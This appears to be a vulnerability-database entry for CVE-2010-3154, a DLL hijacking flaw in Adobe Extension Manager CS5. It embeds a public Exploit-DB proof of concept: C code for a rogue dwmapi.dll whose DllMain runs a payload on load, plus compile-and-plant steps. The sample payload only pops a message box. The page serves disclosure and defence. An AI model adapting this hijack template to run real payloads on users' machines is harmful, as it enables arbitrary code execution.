CVE-2010-3154

critical

Published 2010-08-27 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

10.0

Description

Untrusted search path vulnerability in Adobe Extension Manager CS5 5.0.298 allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse dwmapi.dll that is located in the same folder as a .mxi or .mxp file.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14784 local windows verified text · 1 KB

LiquidWorm · 2010-08-25

Adobe Extension Manager CS5 5.0.298 - 'dwmapi.dll' DLL Hijacking

text exploit Source: Exploit-DB

/*

 Adobe Extension Manager CS5 v5.0.298 (dwmapi.dll) DLL Hijacking Exploit

 Vendor: Adobe Systems Inc.
 Product Web Page: http://www.adobe.com
 Affected Version: CS5 v5.0.298

 Summary: Easily install new extensions and manage the ones you already
 have with the Adobe Extension Manager.

 Desc: Adobe Extension Manager CS5 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extensions are .mxi and .mxp thru dwmapi.dll library.

 ----
 gcc -shared -o dwmapi.dll adobeem.c

 Compile and rename to dwmapi.dll, create a file test.mxi or test.mxp and
 put both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}

Application impact

Vendor	Product	Versions	Fixed
adobe	extension_manager_cs5	`5.0.298`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.